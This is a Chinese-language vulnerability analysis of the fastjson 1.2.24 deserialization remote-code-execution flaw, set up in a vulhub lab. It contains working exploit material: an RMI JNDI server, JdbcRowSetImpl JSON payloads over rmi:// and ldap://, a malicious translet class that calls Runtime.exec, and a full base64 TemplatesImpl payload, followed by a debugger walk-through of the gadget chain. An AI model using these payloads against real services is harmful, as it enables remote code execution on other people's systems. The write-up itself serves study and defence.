fastjson 1.2.24反序列化导致任意命令执行漏洞分析记录
环境搭建:
漏洞影响版本:
fastjson在1.2.24以及之前版本存在远程代码执行高危安全漏洞
环境地址:
https://github.com/vulhub/vulhub/tree/master/fastjson/vuln
正常访问页面返回hello,world~
此时抓包修改content-type为json格式,并post payload,即可执行rce
此时就能够创建success文件
漏洞复现(rmi+ldap):
RMI:
package person.server;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class JNDIServer {
public static void start() throws
AlreadyBoundException, RemoteException, NamingException {
Registry registry = LocateRegistry.createRegistry(1099); //rmi服务器绑定1099端口
Reference reference = new Reference("Exploit",
"Exploit","http://127.0.0.1:8080/"); //请求本地8080端口
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit",referenceWrapper); //绑定工厂类,即rmi将去本地web目录下去找Exploit.class
}
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
start();
}
}
比如此时先本地起一个rmi服务器
exp:
package person;
import com.alibaba.fastjson.JSON;
public class JdbcRowSetImplPoc {
public static void main(String[] argv){
testJdbcRowSetImpl();
}
public static void testJdbcRowSetImpl(){
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\"," +
" \"autoCommit\":true}";
JSON.parse(payload);
}
}
然后指定rmi的地址,触发payload解析,从而calc,其中Exploit.class不要带包名,
这里java版本用的是1.8.0,用1.8.0_202中要设置trustCodebase选项,也就是做了一定的限制,直接从外部加载类的话是不被允许的
用mashalsec起rmi服务:
此时也能够calc
ldap:
用marshalsec在本地起一个ldap服务,然后将Exploit.class放到启动的当前目录下
然后本地先测试一下1.8.0版本的jdk能否直接从ldap加载exploit.class
public static void testLdap(){
String url = "ldap://127.0.0.1:1389";
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.ldap.LdapCtxFactory");
env.put(Context.PROVIDER_URL, url);
try{
DirContext dirContext = new InitialDirContext(env);
System.out.println("connected");
System.out.println(dirContext.getEnvironment());
Reference e = (Reference) dirContext.lookup("e");
}catch(NameNotFoundException ex){
ex.printStackTrace();
}catch(Exception e){
e.printStackTrace();
}
}
exp:
public class JdbcRowSetImplPoc {
public static void main(String[] argv){
testJdbcRowSetImpl();
}
public static void testJdbcRowSetImpl(){
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Exploit\"," +
" \"autoCommit\":true}";
JSON.parse(payload);
}
}
直接通过ldap加载没问题,可以calc
前置知识:
研究这个漏洞之前,先熟悉一下阿里的这个fastjson库的基本用法
package main.java; import java.util.HashMap; import java.util.Map; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.serializer.SerializerFeature; import main.java.user; public class test_fast_json { public static void main(String[] args){ Map<String,Object> map = new HashMap<String, Object>(); map.put("key1","one"); map.put("key2","two"); //System.out.println(map.getClass()); String mapjson = JSON.toJSONString(map); System.out.println(mapjson.getClass()); user user1 = new user (); user1.setName("111"); System.out.println(JSON.toJSONString(user1)); String serializedStr1 = JSON.toJSONString(user1,SerializerFeature.WriteClassName); System.out.println("serializedStr1="+serializedStr1); user user2=(user)JSON.parse(serializedStr1); System.out.println(user2.getName()); Object obj = JSON.parseObject(serializedStr1); System.out.println(obj); System.out.println(obj.getClass()); Object obj1 = JSON.parseObject(serializedStr1,Object.class); //user obj1 = (user) JSON.parseObject(serializedStr1,Object.class); user obj2 = (user)obj1; System.out.println(obj2.getName()); System.out.println(obj2.getClass()); } }
//输出
class java.lang.String {"age":0,"name":"111"} serializedStr1={"@type":"main.java.user","age":0,"name":"111"} 111 {"name":"111","age":0} class com.alibaba.fastjson.JSONObject 111 class main.java.user
这里user为定义好的一个类,实际上fastjson提供给我们的也就是将对象快速转换为可以传输的字符串,当然也提供从字符串中恢复出对象,也就是一个序列化和反序列化的过程,
可以从输出看到,JSON.toJSONstring实际上是将类的属性值转化为字符串,当JSON.toJSONstring带有writeclassname时此时字符串中将包含类名称及其包名称,所以此时可以定位到某个类以及其实例化对象的属性值,再通过JSON.parse()函数即可通过fastjson序列化后的字符串恢复该类的对象,当恢复对象时,使用JSON.parseObject带有Object.class时,此时能够成功恢复出类的对象,否则只能恢复到JsonObject对象
如何拿到要反序列化的所有的get方法:
Util.buildBeanInfo中,首先fastjson会根据要反序列化的类拿到所有的filed成员变量,然后再通过反射拿到该类的所有method,然后设置一系列过滤方法选择要调用的getter和seeter
漏洞分析:
这个漏洞利用方式有好种,这篇文章主要分析利用templatesImlp这个类,这个类中有一个_bytecodes字段,部分函数能够根据这个字段来生成类的实例,那么这个类的构造函数是我们可控的,就能够rce
test.java
package person; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class Test extends AbstractTranslet { public Test() throws IOException { Runtime.getRuntime().exec("calc"); } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } @Override public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException { } }
test.java在这里的话主要是用户parseObject json反序列化时所要还原的类,因为在这会实例化该类,因此直接在其构造方法中calc即可
poc.java
package person; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.io.IOUtils; import org.apache.commons.codec.binary.Base64; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.IOException; public class Poc { public static String readClass(String cls){ ByteArrayOutputStream bos = new ByteArrayOutputStream(); try { IOUtils.copy(new FileInputStream(new File(cls)), bos); //将test.class字节码文件转存到字节数粗输出流中 } catch (IOException e) { e.printStackTrace(); } return Base64.encodeBase64String(bos.toByteArray()); } public static void test_autoTypeDeny() throws Exception { ParserConfig config = new ParserConfig(); final String fileSeparator = System.getProperty("file.separator"); final String evilClassPath = System.getProperty("user.dir") + "\\target\\classes\\person\\Test.class"; String evilCode = readClass(evilClassPath); final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; //autotype时反序列化的类 String text1 = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\""+evilCode+"\"]," + //将evilcode放在_bytecodes处 "'_name':'a.b'," + "'_tfactory':{ }," + "\"_outputProperties\":{ }}\n"; System.out.println(text1); //String personStr = "{'name':"+text1+",'age':19}"; //Person obj = JSON.parseObject(personStr, Person.class, config, Feature.SupportNonPublicField); Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); //pareseObject来反序列化,此时要设置SupportNonPublicField
public static void main(String args[]){ try { test_autoTypeDeny(); } catch (Exception e) { e.printStackTrace(); } } }
我们已经知道在反序列化解析json字符串时在parseobject时触发
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADEALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQANTHBlcnNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACUBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAApTb3VyY2VGaWxlAQAJVGVzdC5qYXZhDAAHAAgHACcMACgAKQEABGNhbGMMACoAKwEAC3BlcnNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAADwAEABAADQARAAsAAAAMAAEAAAAOAAwADQAAAA4AAAAEAAEADwABABAAEQABAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAFQALAAAAKgAEAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABQAFQACAAAAAQAWABcAAwABABAAGAACAAkAAAA/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAAGgALAAAAIAADAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABkAGgACAA4AAAAEAAEAGwABABwAAAACAB0="],'_name':'a.b','_tfactory':{ },"_outputProperties":{ }}
在此下断点,运行poc.java
此时首先调用com/alibaba/fastjson/JSON.java的parseObject函数来处理我们传入的payload
此时判断我们传入的features是否为null,这里
我们已经制定了支持非publicfield属性,因为使用的_bytescode实际为非public的,否则无法反序列化,接着调用defaultJsonParser来进一步处理payload
此时进一步调用javaObjectDeserializer,也就是反序列化时所使用的反序列化引擎,继续跟进
此时在javaObjectDeserializer的deserialze函数中将判断type的类型是不是泛型数组类型的实例以及判断type是不是类类型的实例,这里两处不满足,所以调用parse.parse来解析
实际上此时又回到了
并且在此调用parseObject函数来处理我们的payload
接下来一部分就是语法解析,先匹配出了其中的双引号",
比如先在parseObject函数中匹配出了@type
匹配出@type标志以后,将会继续向后扫描json字符串,即取匹配相应的值,这个值也就是我们想要反序列化的类
继续往下走,将调用deserializer.deserialze函数来处理反序列化数据,此时deserializer中已经包含了要实例化的templatesimpl类,
跟进此函数,则可以看到此时token为16并且text为我们的payload
接下来会调用parseField函数来对json字符串中的一些key值进行匹配
这个方法里面会调用smartmatch来对key值进行一些处理,比如将_bytecodes的下划线删除
当处理到_outputProperties字段时,步入其smartMatch方法
此时在FieldDeserializer中将会调用setValue方,此时将会在其中调用getOutputProperties()方法,因为存在OutputProperties属性
此时在TemplatesImpl类的getOutputProperties函数中将会调用newTransformer().getOutputProperties函数,在newTransformer函数中又调用了getTransletInstance()函数,
这里首先判断_name字段不能为空,这也是为啥payload里面会设置一个_name字段
接下来就会调用newInstance()函数来实例化对象了,可以看到此事要求实例化的对象时AbstractTranslet类的,那么只需要让我们的payload中的类继承自该类即可,
可以看到此时_transletIndex为零,因此此时实例化的就是我们构造的恶意类,
缩减后的整个调用链即为:
JSON.parseObject ... JavaBeanDeserializer.deserialze ... FieldDeserializer.setValue ... TemplatesImpl.getOutputProperties TemplatesImpl.newTransformer TemplatesImpl.getTransletInstance ... Runtime.getRuntime().exec
JdbcRowImpl为什么不能打JRMP?
这条链最后的sink点是:
理论上jdni最终的触发点是IntialContext.lookup(),其中jdni支持动态协议转换,从而可以使用rmi和ldap来加载远程工厂类来进行rce,那么还有一种即利用rmi+jrmp的方式,服务端起JRMPListener,客户端lookup使用rmi并且客户端本地有可用的gadget,那么这种情况也可以进行rce,不过对于异常捕获模块是有要求的,比如Fastjson这个,最终lookup时产生错误,在RemoteException这里捕获到错误
这里虽然是remoteException,但是对于jndi这里throw出来的是NamingException,在测试代码里捕获Exception,这里var3实际还是NamingException,其rootexception是UnexceptedException,其detial就是badattri
根据这个输出结果来看的话,应该是内部调用了RemoteException的getmessage(但还是没找到在哪里显式调用过)
跟进看一下RemoteException的getmessage函数,这里会判断detail是否为空,不为空则输出detail.tostring
而此时var5的detail存储的是badAttributeValueExpException,其tostring是:
其对应的val就是tiedMapEntry,并且由最终的报错确定肯定是调用了badAtttri的tostring,即构造yso所需要的结构
因此这里只有调用var5的tostring才能够间接导致jrmp listener返回的序列化payload在客户端进行反序列化,这里实际是间接的反序列化,即最后通过tostring间接触发。
这里最直接的就是直接输出NameingException这个异常对象,如果jdbcRowImpl的datasource最终throw的异常包含catch的对象,则jrmp就能打,跟踪了几条fj的链,到InitialContext.lookup这里,如果throw的异常包含catch的对象,jrmp和rmirefserver都可以打,从而calc。测i是这里如果getmessage的话则输出为null,没法calc,jrmp相对于refserver来说,jrmp利用的是反序列化,而refserver利用的是defineclass恶意工厂类,jrmp还需要本地有cc这种类似的链,实战的话还是refserver更好。
参考:
http://www.lmxspace.com/2019/06/29/FastJson-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/
https://www.freebuf.com/vuls/178012.html
https://www.anquanke.com/post/id/173459#h2-10